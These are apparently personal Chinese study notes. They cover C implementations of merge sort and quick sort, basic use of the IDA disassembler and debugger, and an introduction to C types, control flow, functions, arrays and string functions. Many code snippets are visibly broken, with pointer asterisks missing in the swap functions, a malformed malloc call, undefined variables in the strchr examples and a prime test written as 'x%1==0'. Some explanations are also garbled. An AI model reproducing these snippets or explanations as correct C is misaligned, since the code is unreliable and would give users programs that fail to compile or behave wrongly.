	for (int i = 0; i < len; i++) {
	printf("%d ", arr[i]);
	}

	return 0;
	}

	// 递归实现归并排序
	void merge_sort_recursive(int arr[], int reg[], int start, int end) {
	if (start >= end)
	return;

	int mid = start + (end - start) / 2;
	int start1 = start, end1 = mid;
	int start2 = mid + 1, end2 = end;

	merge_sort_recursive(arr, reg, start1, end1);
	merge_sort_recursive(arr, reg, start2, end2);

	int k = start;
	while (start1 <= end1 && start2 <= end2) {
	reg[k++] = arr[start1] < arr[start2] ? arr[start1++] : arr[start2++];
	}
	while (start1 <= end1) {
	reg[k++] = arr[start1++];
	}
	while (start2 <= end2) {
	reg[k++] = arr[start2++];
	}

	// 使用 memcpy 进行数组复制，提高效率
	memcpy(arr + start, reg + start, (end - start + 1) * sizeof(int));
	}

	// 归并排序入口函数
	void merge_sort(int arr[], const int len) {
	int* reg = (int)malloc(len sizeof(int));
	if (reg == NULL) { // 检查内存分配是否成功
	fprintf(stderr, "Memory allocation failed\n");
	exit(EXIT_FAILURE);
	}
	merge_sort_recursive(arr, reg, 0, len - 1);
	free(reg); // 释放内存
	}

4. 快速排序

迭代法

	#include <stdio.h>
	// 范围结构体
	typedef struct _Range {
	int start, end;
	} Range;
	// 创建新的范围
	Range new_Range(int s, int e) {
	Range r;
	r.start = s;
	r.end = e;
	return r;
	}
	// 交换两个整数
	void swap(int x, int y) {
	int t = *x;
	x = y;
	*y = t;
	}

	// 快速排序函数
	void quick_sort(int arr[], const int len) {
	if (len <= 0)
	return; // 避免 len 等于负值时引发段错误（Segment Fault）
	Range r[len];
	int p = 0;
	r[p++] = new_Range(0, len - 1);

	while (p > 0) {
	Range range = r[--p];
	if (range.start >= range.end)
	continue;

	int mid = arr[(range.start + range.end) / 2]; // 选取中间点为基准点
	int left = range.start, right = range.end;
	do {
	while (arr[left] < mid) ++left; // 检测基准点左侧是否符合要求
	while (arr[right] > mid) --right; // 检测基准点右侧是否符合要求
	if (left <= right) {
	swap(&arr[left], &arr[right]);
	left++;
	right--; // 移动指针以继续
	}
	} while (left <= right);
	if (range.start < right) r[p++] = new_Range(range.start, right);
	if (range.end > left) r[p++] = new_Range(left, range.end);
	}
	}
	int main() {
	int arr[] = {22, 34, 3, 32, 82, 55, 89, 50, 37, 5, 64, 35, 9, 70};
	int len = sizeof(arr) / sizeof(arr[0]); // 计算数组长度
	quick_sort(arr, len); // 调用快速排序函数
	// 打印排序后的数组
	for (int i = 0; i < len; i++) {
	printf("%d ", arr[i]);
	}
	return 0;
	}

递归法

	#include <stdio.h>
	// 交换两个整数
	void swap(int x, int y) {
	int t = *x;
	x = y;
	*y = t;
	}
	// 递归实现快速排序
	void quick_sort_recursive(int arr[], int start, int end) {
	if (start >= end)
	return;
	int mid = arr[end];
	int left = start, right = end - 1;

	while (left < right) {
	while (left < right && arr[left] < mid)
	left++;
	while (left < right && arr[right] >= mid)
	right--;
	swap(&arr[left], &arr[right]);
	}
	if (arr[left] >= arr[end])
	swap(&arr[left], &arr[end]);
	else
	left++;
	quick_sort_recursive(arr, start, left - 1);
	quick_sort_recursive(arr, left + 1, end);
	}
	// 快速排序入口函数
	void quick_sort(int arr[], int len) {
	quick_sort_recursive(arr, 0, len - 1);
	}
	int main() {
	int arr[] = {22, 34, 3, 32, 82, 55, 89, 50, 37, 5, 64, 35, 9, 70};
	int len = sizeof(arr) / sizeof(arr[0]); // 计算数组长度
	quick_sort(arr, len); // 调用快速排序函数
	// 打印排序后的数组
	for (int i = 0; i < len; i++) {
	printf("%d ", arr[i]);
	}
	return 0;
	}

IDA

2024-10-14T05:21:05.000Z

# IDA

ida 插件环境：

1. 至少 Python3.8

2. 多个使用 IDA 目录下的 idaplyswitch.exe

插件：

直接把 xxx.py 放到目录的 plugins 目录

KeyPatch (修改汇编)

依赖安装：pip install keystone-engine

LazyIDA (提取，批量修改)

至于用 64 还是 32，可以用查壳软件直接看

在 linux 下也可以使用 file 命令

但是实际上可以试错，不是直接打不开然后提醒，就是反汇编时会提醒

# function 窗口

按 G 可以地址导航，按 TAB 显示伪代码

在该窗口中使用 Ctrl+F 就可以用关键字查找

这里包含了分析出的所有函数

IDAview

图形窗口

会显示控制流，按空格切换为文本模式，这是按照线性地址

分析一般从 main 开始，但是万一 main 函数名字没有识别到

可以根据输出的内容来定位地址（去字符串窗口找），然后定位函数

# 字符串窗口

shift+12

在该窗口中使用 Ctrl+F 也可以用关键字查找（其实所有表格窗口都可以）

它包括了所有已识别的字符串

选中按 U 取消已定义的标识符，按 A 重建，按 X 显示所有引用选中的字符串的地方

# hex view

动态调试时显示内存数据，正常是显示静态数据

# imports/exports

导入导出表

显示引用的 api，使用里面的函数

分析动态链接库时，同时要看导出的函数

程序入口会被 ida 当成一个叫做 start 的导出函数

在运行时 start 先被初始化，然后调用 main 函数

# 其他玩意儿

# 重命名函数：

ida 反编译的有时名字不太对，为了方便看，所以建议重命名
（自己要猜一猜可能是什么库函数）

选中，然后按 N

# IDA 动态调试

作用：

验证静态分析结果

观察程序运行时数据

# 支持的特性：

# 1. 软件 / 硬件 / 条件 / 脚本断点

设置断点，点前面，或者选中按 F2

在伪代码设断点，可能会导致有些没执行（断点会在函数传参时）

软件：IDA 在地址上设置断点（0xCC）, 到达后在恢复

硬件断点：通过 CPU 抛出错误来断点

条件断点：到达后执行特定脚本，并返回真表示被命中

脚本断点：基本和上面一样，但是返回值永远是假

# 2. 步入 / 步过 / 步出 / 执行到光标位置 /

步入：进入 call 函数（F7）

步过：直接到 call 函数的返回地址（F8）

步出：中断函数回到其调用者（执行到返回）（Ctrl+F7）

执行到光标位置：直接执行到选中位值（实际上是设置临时断点）(F4)

设置代码执行位置：用于跳过不想执行的代码（Ctrl+N）

注意 scanf 会强行暂停等待输入

# 3. 汇编级 / 伪代码 / 源码 / 调试代码级支持

IDA 会在存在源代码时自动导入，但是不如直接用 VS 之类的集成开发软件

# 4. 寄存器 / 内存读写

不是很方便，建议装上面插件

# 5. 启动进程 / 附加调试

启动调试可以每一步调试，也可以调试初始化代码（如果没有反调试）

附加调试不能调试初始化代码，但是有些程序是子程序，不附加环境不一样

也用来调试动态库以及绕过一些反调试

注：附加可以用 Ctrl+F 快速查找要附加到的程序

# 6. 内存窗口

在窗口中按 G 跳转到特定地址（自己提前复制）

按 F2 修改内存（无插件时），可以输入十六进制数字，再按 F2 保存修改

用 LazyIDA 时，进入编辑模式时右键可以选 pastedata，这样可以用 ascll 模式

但是这玩意儿不会自己不 00，所以还要自己加

# 7. 模块窗口

显示模块列表

Debuger-->Debuger Windows-->Modules

在 Windows 上是 dll,Linux 上是 so

# 远程调试

安装环境：

在安装目录下的 debugsrv 目录，选择对应系统的 sever，复制到目标环境运行（子系统必须是 wsl2）

为了方便可以加到 path 里

echo $PATH
//调试目录就是执行目录

配置：

Debuger-->process options

Host 填 Linux 地址（wsl 会自动填回环地址）

Port 就填 Linux 上显示的监听端口

其他不要填

如果修改的代码，记得删掉重新上传

C笔记ultra

2024-10-14T05:21:05.000Z

# Ⅰ. 语法（？）

# 一。程序执行

解释：由该程序执行操作（python）
编译：由该程序将语言翻译为机器语言，由编译出的程序执行操作（C）

# 二.printf 与 scanf <stdio.h>

\n 表示换行，如果要直接输出，输入 \\n 来转义

在写的程序中换行对编译器没有影响。

scanf 需要 & a, 但是 printf 不需要 &，double 在 scanf 中必须要用 % lf

scanf 里的非变量部分在输入时也必须输入，否则可能无法正确接收数据（空格为输入任意）

%d(ld): int(long long)

%f(lf): float(double,longdouble)

% u: unsigned long long // 即使是其他类型，也可以用 % u 输出，注意：

% c: 字符串会自动扩展其他位，比如传入 - 1 就会使所有位的都 % e (E): 科学计数法变成 1（传入 printf 的补码 (@int 类型是这样的) )

//double ff=1E-10 也是可以的，就是 1 的负 10 次方，输出要确定保留位数（%.3/4/5lf），会四舍五入。

float/double 的表达是离散的，不连续，遇到不能准确表达的会就近选择（精度越高，能表达的数的间隔越小）## 见下

#% d 其实时默认时 10 进制输出，不过输入可以是其他进制，会自动转化。

% d 后面没有空格，是只读取到整数结束为止，其他留给下一个变量

如有，则会顺便读取整数结束后的所有空格个，这是特殊的，用于防止误读空格

//% o：输出 8 进制（不会自带 0）

//% x（X）：输出 16 进制（不会自带 0x），x 的大小写决定了输出时的大小写（这点和 % e 一样）

16 进制两位就是一个字节（8bit）, 即一个 char，经常用于表答二进制 (方便变换)

8 进制是因为以前有 12 位的电脑，用 8 进制表达方便，现在一般用于单片机

# 三。关系运算

运算符：

+，-，/，*：略 // 当 +- 作为单目运算符时 (表示正负)，优先级最高且只能在后面。

%：取余 // 要获取一个运算的整数部分，直接整数运算，要获得余数，则取余。

=：赋值 // 在 C 中这是也是一个运算符有输出，唯一的自右向左。a=b=6 实际上是 a=(b=6)

也就是说 b=6 的输出值其实就是 6

#可以一行定义多个同类型的变量用 "," 隔开。

#不要嵌套赋值，belike:r=(r=r+3)*6*(r=r+4)

# 三。五. 复合赋值

++/--（递增 / 递减，这属于单目运算符）

count++/-- 实际上是 count=count+/-1

前缀时 (++/--a): 此句就已经是 a+/-1

后缀时 (a++/--): 此句输出还是 a，此句结束后 a+/-1

# 四。变量与常量

变量类型一旦定义就无法改变 // 没有初始值时是乱码（原来内存里的不知道什么玩意儿）

常量一旦定义无法改变（const int）// 通常全大写以区分

#定义时可以有运算

# 五。变量类型

# 总起

表示范围:char<short<int<float<double

输入输出时的格式化:% d，% ld，% lf

在内存中的大小：1 字节 (char)（8bit, 即 8 位），2 字节 (short)，4 字节 (int，long (32 位环境))，8 字节 (double，long (64 位环境)，long long)

//int 的大小其实也是不确定的，它等于电脑 CPU 的寄存器宽度（字长 (cpu 一次可以处理的数据长度) 以及总线）

在内存中的表达形式：二进制数 (补码)(int)，编码 (浮点数都是)

//sizeof () 用于输出该变量的所占字节数，不能在其中运算 (会被无视)，这是静态的：

sizeof(a++)=sizeof(a)    //即使在后面printf("%d",a)输出也还是a而不是a+1
sizeof(a+1.0)//输出是8，因为整数和浮点数运算前会转换成浮点数，所以是浮点数的8
               这不意味着有进行运算，只是判断了最后还是double类型而已

# 1. 整数（int (看编译器，即一个字)/bool）

一般用 int

是有范围的，还有 short (-32768-32767)，long，long long int (C99)

// 如果读取到负数，处理时又不能带符号，最后还要输出。那么可以单独 printf 一个负号，然后 x=-=x

//bool 是人为定义的，它只存在于 C99，即布尔量

整数的内部表达：

18-------00010010

三种方案：

1. 特殊标志（用第一位为 1 来代表负数运算时遇 + 则 -，乘除保留或变 0）

2. 取中间数，即 1000000 表示 0，更大为正，反之为负

3. 补码（其实就是溢出丢掉从头再来 8bit 当进到下一位时，会舍弃第九位的 1）

11111111（255，当作补码时为 - 1，因为 + 1=0）这样的好处是可以直接运算

// 对于二进制一个数的补码是 2<sup>n</sup>-1

对于一个字节的变量（char）：

000000000：0

111111111-10000000=-1~-128（补码）

000000001_01111111=1127（少一位是因为 0 也要占一个表示方法，一共 2<sup>n</sup>）

// 由于 - 128 与 127 在二进制的表示上是连在一起的，所以：

	char a=-128
	a-=1 // 此时输出的 a=127
	char b=127
	b+=1 // 此时输出 b=-128

这个循环是：

-1₀......₁₂₇-128_......-10

对于 unsigned char:

0-255-0-255

布尔类型 (bool)

需要 #include<stdbool.h>, 但实际上不会输出所谓的 true 或者 false, 本质上还是 1/0

# 2. 浮点数（float,double）

一般用 double

** 精确计算不能使用浮点数！！！** 只能用整型或者 bcd 码

这种码只用 4bit（2^4=16）, 也只表示 0~9, 它通过拼凑来得到数字，由于是表示 10 进制数，二进制运算时的结果可能要修正，修正的规则是：当两个 BCD 码相加，如果和等于或小于 1001（10 进制的 9），无需修正。如果相加之和在 1010 到 1111 (即十六进制数 0AH～0FH) 之间，则需加 6 进行修正；如果相加时，本位产生了进位，也需加 6 进行修正。这样做的原因是，机器按二进制相加，所以 4 位 [二进制数相加时，是按 "逢十六进一" 的原则进行运算的，而实质上是 2 个十进制数相加，应该按 "逢十进一" 的原则相加，16 与 10 相差 6，所以当和超过 9 或有进位时，都要加 6 进行修正。

可以表示 +/-inf（无穷大 / 小，实际上是越界无法表达），nan（无效数字，比如 0/0，如果用整数，会报错，而浮点不会，只会输出 nan）

带小数部分，有 longdouble（C99）

float (4 字节，字长 32)：有效数字 7 位，在 0 周围 10<sup>-38</sup > 里无法表示

double (8 字节，字长 64)：有效数字 15 位，在 0 周围 10<sup>-308</sup > 里无法表示

// 浮点数中的 0 是单独拿出来表示的

浮点数的运算精度 (## 见上):

在运算超出 float 范围时，编译器会强制将其转换为 double，如果不想要这样，在数字后加 f

flaot a=1.345f

保留位数会影响结果，因为精度的问题，如果保留位数少，可能四舍五入后还是正确的，但是如果多起来，就会有误差。（注意，实际上内存中的就是不精确的，改变保留位数只是我们自己看的而已）

浮点数的内部表达：

1bit 用于表达正负

11bit 用于表达指数部分

剩下的都是分数部分和其他没有利用的部分

浮点计算是由专用硬件负责的

# 3. 字符（char）

也可以是整数类型，不一定都是字符（没有 “” 的话）

#字符串不能参与和整数或者浮点数的运算。

C 中使用 ASCII 编码所以：49=‘1’

字符加 n，就直接得到它后面第 n 个字符。

两个字符相减，可以得到它们之间的距离。

a+'a'-'A' 可以将大写转化为小写

a+'A'-'a' 可以将小写转化为大写

逃逸字符（\）：

\b : 回退一格，实际上是回去，但是不删除（这取决于终端），但是会用后面直接连接的字符覆盖它（该字符不会再次输出）

\t : 到下一个表格位（直接到下一个固定位置）

\n,\r : 换行，回车，这来自于早期打字机，到现在，没什么区别

getchar (): 读入一个字符，返回一个 intEOF (-1)，表示结束

使用 Crtl + C 强制结束

使用 Crtl + D (UNIX)/Z (WIN) 结束并输出 EOF

用户的直接输入实际上都在 shell 的缓冲区，程序运行时根据函数读取缓冲区中的数据 getchar 和 scanf 读取长度时不一样的（这也解释了为什么超出会顺延下去），这个缓冲区会有暂停的地方（用于等待你输入），如果使用了上面的快捷键，那么 shell 才会真正给出停止信号，给出 EOF

# 杂项

#整数之间的运算会直接舍弃所有小数部分，在计算过程中也是，但是整数与浮点数运算时，

整数会被转化为浮点数参与运算 // 但它还是整数，有时还会特意乘 1.0 来转化

(不如直接 double)

// 初始化时，浮点数应是 0.0

如果想要被当作纯二进制来看待，要写为：unsigned char（即不用补码）

这样表示范围就会变成 0~255，但是，此时不能表达负数

EX1. 断点

断点的一行是未被执行的。可以将鼠标移动到变量上查看此时该变量的值。 // 要调试运行

EX2. 交换变量（a,b）

t=a,a=b,b=t

// 整数类型除法会直接舍弃小数，可以用于整数求逆

# 4. 指针（单独放在下面）

# 5. 自定义类型

# 枚举

用于定义一些名字，而不用 const int 来：

	enum 枚举类型名字，可不写{名字0，名字1...，Number};
	// 这些都是常量，操作时默认 int 且从 0 开始 (所以后的 number 就真的是这个枚举的有效数量，有个套路，见下),enum 本身不是一种变量类型（但是本质上是 int），它是声明一种变量类型
	要更改数值
	enum a{RED=1,YELLOW,GREEN=5,NumCOLORS}

	enum color {red,yellow,green};
	void f(enum color c);// 使用这个类型时，前面要加 enum（C++ 不用）
	int main (viod){
	enum color t=red;
	scanf("%d"，&t);
	f(t);
	return 0;
	}
	void f(enum color c){
	printf("%d\n",c) // 输出还是 1
	}

自动计数的枚举：

0 这里也能看出，实际上枚举很少作为类型使用，它作用在于：

枚举可以为一组整数常量赋予有意义的名称，使得代码更易于理解。例如，用 enum Weekday {MONDAY, TUESDAY, WEDNESDAY, THURSDAY, FRIDAY, SATURDAY, SUNDAY}; 定义了一周的天数。在代码中使用 MONDAY 比直接使用数字 0（假设周一被映射为数字 0）更直观地表示星期一，提高了代码的可读性和可维护性。
通过枚举定义的变量只能取枚举中定义的特定值，编译器可以在编译时进行类型检查，防止意外地为变量赋予不合法的值。例如，如果定义了一个枚举类型 enum Color {RED, GREEN, BLUE} ，那么一个声明为该枚举类型的变量就只能被赋值为 RED 、 GREEN 或 BLUE 这三个值之一，而不能被赋予其他任意整数值。
集中管理常量：

当有一组相关的常量需要在程序中多处使用时，使用枚举可以将这些常量集中定义在一处，便于管理和修改。如果需要修改某个常量的值，只需要在枚举定义处进行修改，而不需要在代码中逐个查找和修改使用该常量的地方。

例如，如果要修改表示一周中某一天的常量值，只需要在枚举定义中修改相应的枚举值，而不需要在整个程序中搜索并修改所有使用该常量的地方。
易于扩展：

如果需要在现有枚举中添加新的常量，只需要在枚举定义中添加新的枚举值即可，不会影响到已有的代码逻辑。例如，在 enum Color {RED, GREEN, BLUE} 的基础上，如果需要添加一个新的颜色 YELLOW ，只需要将枚举定义修改为 enum Color {RED, GREEN, BLUE, YELLOW} ，而使用该枚举的代码无需进行大规模修改。

# 结构体

格式：

	struct 标签 {
	int a;
	char b[];
	float c;
	...（其他有效变量定义，也可以是其他结构体）
	} 结构变量（可以不只定义一个）;
	// 一般三者至少出现俩

互相包含的结构体，要进行不完整声明：

	struct B; // 对结构体 B 进行不完整声明
	// 结构体 A 中包含指向结构体 B 的指针
	struct A
	{
	struct B *partner;
	};

	// 结构体 B 中包含指向结构体 A 的指针，在 A 声明完后，B 也随之进行声明
	struct B
	{
	struct A *partner;
	};

即使两个结构体的成员一样，也会被当作两个不同的（前提是标签和结构变量要有不同）

使用：

	struct Simple t1, t2[20], *t3;
	// 分别表示一个结构体，结构体数组，指向该结构体的指针
	也就是说*t3可以指向t1

与 typedef 连用：

	typedef struct
	{
	int a;
	char b;
	double c;
	} Simple2; // 注意，这里的 Simple2 是别称，结构体三者只出现了一个
	Simple2 u1,u2[],*u3

# EX

# EX 整数求逆

如果 %10，会得到个位数
如果 / 10，会去掉个位数

当去掉一个个位数后，会有新的一个个位数（原来的十位数），可以再 %10 读取

C 中不会自动换行，所以 while 中直接 printf 出来，连起来的就刚好是逆向的

但是 0 在开头也会输出。如果不要，那么用 ret*=10+a (读取的数) 的循环顶位，再输出。（0*10=0, 所以在读取到第一位有效数字前的 0 不会被输出，在之后的则有 * 10 顶出个位来加）

如果要正序且末尾有 0，那么只能使用 i-- 的方法，这需要知道是几位数。

这是不能判断原数字，而是那个 10<sup>n</sup>,n 可以先用 / 那个数读取长度，这时要用 pow (), 当然。也可以在读取循环时顺便来个变量 * 10

// 这里使用 while 代替 do-while，虽然 mask 是对的（直接加会因为 do-while 的无条件执行一次而多 10 倍，当然，可以事后 / 10），但是读取后原数没了，所以有了 t

# EX 类型转化

所有的类型转化都只是在运算中，不会改变这个变量以及它本身的类型

自动：

当运算符两边不一致时，会自动传化为较大的类型:

char--short--int--long--long long

int--float--double

但是对于 printf（不包括 scanf）:

小于 int 都会变成 int

float 都会变成 double

强制：

优先级高于所有其他运算

(int) 32 // 注意安全性，不要越界

# 六。条件判断（if/switch）

# 1.if-else

	if (x>100) {
	代码1
	}else if (x>1) {
	代码2
	}else {
	代码3
	}

级联 if-else：

必需范围从大到小，因为实际执行的只有一个，而且顺序执行。

如果都要判断，要用多个 if（能不用就不用，会多次判断）

// 不同于 python，c 中的 if，else 都是就近匹配，不是依赖缩进，所以最好加上大括号

# 2.switch-case

	switch (type) { //type 必须是整数类型
	case 常量: // 这个常量可以是常数，也可以是常数计算的表达式
	xxx C99中还可以用定义的常量
	break
	case 常量:
	xxx
	break
	default: // 当上述一个都没有时跳转
	xxx
	} // 这时相当于一个级联 if

switch 本质上是一种跳转，如果不 break，会直接向下执行，而且

这种跳转只有一次，跳完后所以 case 都当作不存在。

（break 会直接跳出整个 switch）

ps：比较像批处理中的标签一样的玩意儿（？）

# 七。循环 (for/while)

# 1.while

	while (条件){
	循环体
	}
	// 只要条件依然满足，就会循坏，不会执行下面的代码
	//if 只有一次判断，而 while 有多次

在调试时，可以随便在 while 中 printf 些什么，用于直观判断运行情况，最后记得注释掉就行。

数位数的算法：

1. 用户输入 x

2. 初始化 n=0

3.n++

4. 如果 x>0，回到 3

5. 否则 n 为结果

// 一般来说，在进入 while 前，循环体要先执行一次，这样才会是 “循环”，这就是：

do-while 循环

do
{  
循环体
}while(循环条件)；    //先执行一次，然后判断
//不要忘记封号          也可以说是先执行，再判断，while则反之

也就是说，do-while 至少执行一遍，while 可能一遍都不做

EX:rand () 可以召唤随机整数，使用方法：

	#include<stdlib.h>
	#include<time.h>
	...
	int main(){
	srand(time(0));
	int a=rand()%100+1 // 这使得数在 100 以内
	...
	}

# 2.for


for (初始条件;循环条件;每轮动作){           //这个动作接到每次循环结尾
循环体                                   //i的值可以在初始化中定义
}                                         但是只有C99才行，初始条件可以                                           省略

循环可以有两种计数方式：

for (int i=0;i<5;i++) 或者 for (int i=1;i<=5;i++) 都是循环 5 次

for 循环实际上与 while 是一样的！！！任何 for 都可以改写成 while 循环。

// 如果是要固定次数的循环，那么用 for;

// 如果必需执行一次，就用 do-while 循环；

// 其他都用 while

EG: 判断素数

...
isPrime=1         //这里实际上是证伪，所以初始为1，用来避免反复输出，for(i=2;i<x;i++) {                    //掐头去尾是这样的
	if （x%1==0）{
		isPrime=0;          //实际上不break也行，但是会反复赋值
		break;              //continue只会直接跳到下一轮循环
	}
if isPrime==1{            //这里也可以不用isPrime,直接判断i==x
	printf("是素数\n");      看有没有完整执行for,是否有break掉。
}else{
printf("不是素数是\n");
}
}  
...

# 3. 循环的嵌套

注意，循环的控制变量必需不一样

比如，判断 100 以内的素数：// 是素数改成 printf

可以在之前的代码上套一个

for (int x=2,x<=100,i++) {}     //记得也要x++

输出 50 个素数：

int cnt=0;  
while (cnt<50){}     //输出后记得cnt++

也可以用 for (x=2;cnt<50;x++) // 这时删掉最后的 x++

EX. 接力 break:
这需要一个变量（exit）, 开始是 1，当满足条件时将其赋值为 1，随后多个 break 加上 if，判断 exit 是否为 1（这是为了防止未完成就 break）

也可以使用 goto, 用法和命令行差不多，但是定义标签时的：在后面。

这玩意儿最好只用在快速跳出多个循环（要不然乱跳容易乱）

# 八。逻辑运算 / 条件运算 /，

# 1. 逻辑运算

运算符：

！：非！a：是 a 就 false，不是则 true

&&：与全部 true 则 true

||：或一个 true 即可

优先级：

()> ! > 关系运算 > && > || > 赋值运算

方向：

自左向右，如果已经不成立，就不会接下去判断，所以，赋值运算不要写到里面，可能不会执行，即发生短路。

# 2. 条件运算

运算符：

(条件) ? 条件满足时的值 : 条件不满足的时候的值 // 相当于 if,else

优先级：

只大于赋值运算

嵌套条件表达式：

自右向左结合（快跑，没有可读性的玩意儿）

# 3. 逗号表达式

优先级：

最低，比赋值还低，要用到必需通过括号提升优先级

运算方式：

取右边值，比如 a=(1,2), 此时 a=2。

一般不运算，平常在 for 中来加入多个每轮动作（也不是运算.jpg）

# Ⅱ. 函数与数组

# 函数

// 为了避免重复代码（同时方便维护），或者精简主函数

# 1. 定义函数

一般来说，main 函数写在最下面，因为编译器是自上而下看的，否则有可能会编译不通过（这看编译器），如果一定要 main 在前面，可以先来个函数原型声明

//(其实就是将函数大括号以外的部分复制一份，加个封号然后单独放在 main 函数前面（事实上可以写在里面，原型声明里也可以不用写或乱写参数名称，只要类型定义是一样的就行（不建议））。定义的部分一定要和声明一致，否则 error，如果不声明，且定义部分在 main 函数下面，那么有些编译器会猜测该函数的返回类型，如果和下面实际定义不相同，有可能也会抛出 error (发生类型冲突))//

函数原型声明不能冲突，但是可以放空，表示不确定，这时假设与实际冲突，会按照实际。

（这样做会没有对输入类型的检查，可以在 double 中传 int, 不会报错但是值不对，如果确实没有，加 void）

函数中不能定义函数，但可以原型声明。

int (返回类型) hanshuming (函数名) ()(参数表){

// 定义函数还可以用 void (中文意是没有)，表示没有返回值，int 有返回值，return 必需带值，size_t 就是 unsign int 类型

// 参数表里逗号分割，看到这个就可以断定这段代码是函数，所以即使是空的也要有，输入时是按顺序复制的

函数体

return 变量

// 返回主函数的结果 int 就是说这里 return 的变量是 int 类型

}

调用时写为:

hanshuming (变量) ;

// 即使不输入什么值，也要括号，否则会 warnning

return:

1. 停止函数执行，并返回值

2. 返回一个表达式

#一个函数中可以有多个 return 语句，这会导致不是单一出口

调用有返回的函数却不赋值也是可以的，不会警告或报错。

当然，没返回的肯定不能赋值

# 2. 参数传递

可以传递：

字面量，变量，函数返回值，计算结果

有强制类型转换，如果声明的参数是 int，传入的是 double, 这个 double 会变成 int (warning)，反之也是

C 语言只能传值，而不能是变量 (即使是指针，实际上也只是传了个地址数据，也不是把指针本身传递过去)

形式参数与实际参数

函数声明的就是形式参数，实际参数是你调用时传过去的数据 (不是变量)

本地变量 (在函数内部定义的变量就是这个函数的本地变量，包括参数)（局部变量 / 自动变量）

每次函数运行会产生独立变量空间（栈帧？）

变量的生存期和作用域：

注意：C 语言没有 jacvascript 的闭包特性，所以完全不能跨。

在 {} 中定义的参数，生存期和作用域也仅限于 {} 中这里即使在 else 中，也不能访问。

如果是 [static]( 静态存储期，全局变量默认有。定义这个，只能改变生存期，不能改作用域，该不可见还是不可见。它的作用在于当这个函数被多次调用时，它的值不会被初始化（不在栈中）), 生存期会变成整个程序，但是作用域没变化

局部变量优先原则：当在函数中的其他类型的 {} 中定义一个在之外定义过的变量，在 {} 中出现，调用的是其中定义的那个，不是原有，比如：

直接写一个 {} 一般用于调试

这里输出的两个 a 不一样

# 数组

# 1. 定义数组

类型数组名 [元素个数] eg.int num [100] // 索引从 0 开始是第一个，所以只有 0~99

赋值：

前面一种写法仅限 C99

定义后必需遍历数组初始化

C 中有个特殊写法，就是 count [number]={0}, 效果和遍历写 0 是一样的

输出时也是循环遍历

集成化初始时的定义：

int a[10]={[0]=2, [2]=3, 6}      // 没有得到值的，都是 0；没有指定索引的，顺延上一个

例题：统计数组

# 2. 数组运算

要改变数组中的某一个，使用 search 函数

	loc=search(x,a,sizeof(a)/sizeof(a[0])); // 不要 []
	if (loc!=-1){ // 这个函数没找到会返回 - 1，实际上是初始值，这个函数遍历了每个位置，有就加 1
	printf("%d在第%d个位置上\n"，x,loc); // 得到的其实是索引，不是位置，因为初始不是 0
	}else{
	printf("不存在");
	}

search () 要提供大小，其实是因为数组作为函数参数时，是作为指针，只传了第一个元素的地址

# 3. 数组的大小

sizeof 数组：得到字节数（对于 int，/4 才是数组内元素的数字）

对于任意类型，可以用：

sizeof(a)/sizeof(a[0])

# 4. 数组的赋值

数组变量本身不能被赋值，也不能将数组赋值给数组

只能遍历：

素数还有一种求法（但是看起来比之前的更长，所以没写在那个 cpp 里面）

当发现一个素数时，将他加到 prime 里面去，用 cnt++ 就是可以先写入这个位置，再移到下一个，这样可以从第一个开始写，这是因为非素数都可以由比他小的素数乘以某个数得到。

// 那个 (i+1)%5 是为了控制一行输出 5 个

其他算法：

就是每使用一个数，就在数组中排除它的倍数

就是：

// 赋值为 0 表示不是素数，每个数都判断过去是否是它的倍数

// 第一个 i 用于初始化，后面拿来遍历输出

# 5. 二维数组

int a[3][5]  // 一般认为是三行五列（这是内存中的放法）, 不能 a [i,j]，这样里面是逗号表达式，实际上是 a [j]

集成化初始定义：

    a[][5]={0,1,2,3,4},{2,3,4,5,6}   // 内存中都是直接填的，所以写成一维数组也可以

# 6. 字符数组与字符串

	char word[]=['H','e','l','l','o']; // 字符数组
	char word[]=['H','e','l','l','o','\0'];// 字符串，本质上还是字符数组，C 语言中实际上没有叫字符串的东西
	或者
	char word[]=['H','e','l','l','o',0]
	字符串就是以0结尾的字符，它表示字符串的结束（不算在字符串长度中，但是占空间(有索引)），如果要读入特定个数，记得位数+1，留给0
	特殊的：
	char word[]="";是一个空字符串“\0”，而不是普通的字符数组

# 字符串函数 <string.h>

可以对普通的字符数组操作

序号	函数 & 目的
1	strcpy(s1, s2); 复制字符串 s2 到字符串 s1。
2	strcat(s1, s2); 连接字符串 s2 到字符串 s1 的末尾，作为返回值。
3	strlen(s1); 返回字符串 s1 的长度 (不包括结尾 0, 用 char 时 sizeof 就包括，其他类型不用 sizeof，单位不一样)
4	strcmp(s1, s2); 如果 s1 和 s2 是相同的，则返回 0；如果 s1<s2 则返回小于 0；如果 s1>s2 则返回大于 0。空格，结尾的 \0 也会算进去，实际上这个函数就是挨个比较，不相等时输出这两者之间的差值。
5	strchr(s1, ch); 返回一个指针，指向字符串 s1 中字符 ch 的第一次出现的位置。
6	strstr(s1, s2); 返回一个指针，指向字符串 s1 中字符串 s2 的第一次出现的位置。

# strcmp:

它的原型，可以是：

# strcpy:

因为有时不知道这个指针的作用域，防止突然消失，拷贝一份

char *strcpy(char *restrict dst,const char *restrict src);
//restrict表明src和dst不重叠（C99），否则会指向同一个地方

这个函数会返回 dst 值

使用时要申请内存:

	char dst = (char)malloc(strlen(src)+1)// 为 \0 提供空间
	strcpy(dst,src)
	......
	free(dst)

它的原型是：

然后可以传入俩数组（代码里的 const 防止自赋值（指向同地址））

rest 应该是 ret, 这是因为此时的 dst 指向最后的元素，不能直接返回它

要先用 ret 记录好初始位置

# strchr:

还有一个 strrchr 表示从右边开始找

如果要找第二个：

	char s[]="hello";
	char *p =strchr(s,'l');
	p = strchr(p+1,'l'); // 这表示从第一个‘l’后一个开始找

输出找到的字符前的一段，可以：

	#include<stdio.h>
	#include<string.h>
	#include<stdlib.h>
	int main(){
	char s[] = "hello";
	char p=(char)malloc(strlen(p)+1)//malloc 返回指针 + 1 也是按类型
	strcpy(t,p);
	printf("%s\n"t);
	free(t);
	return 0;
	}

后一段：

	#include<stdio.h>
	#include<string.h>
	#include<stdlib.h>
	int main(){
	char s[] = "hello"; // 这只是一个字符数组，这里不能是字符串
	char *p=strchr(s,'l');
	char c=*p; // 暂存原来的值
	char t=(char)malloc(strlen(s)+1);
	strcpy(t,s); // 将被提前结束的 s 字符数组 copy
	printf("%s\n",t);
	*p=c // 将 s 数组还原
	free(t);
	return 0;
	}

这是因为字符串函数的操作都是以 \0 作为结束，所以这里实际上是提前结束了 s 字符串

# strstr:

还有 strcasestr (不区分大小写的查找)

基本格式：

	char strstr(const char s1,const char *s2);
	char strcasestr(const chars1,const char *s2);

# 字符串变量 “字面量”

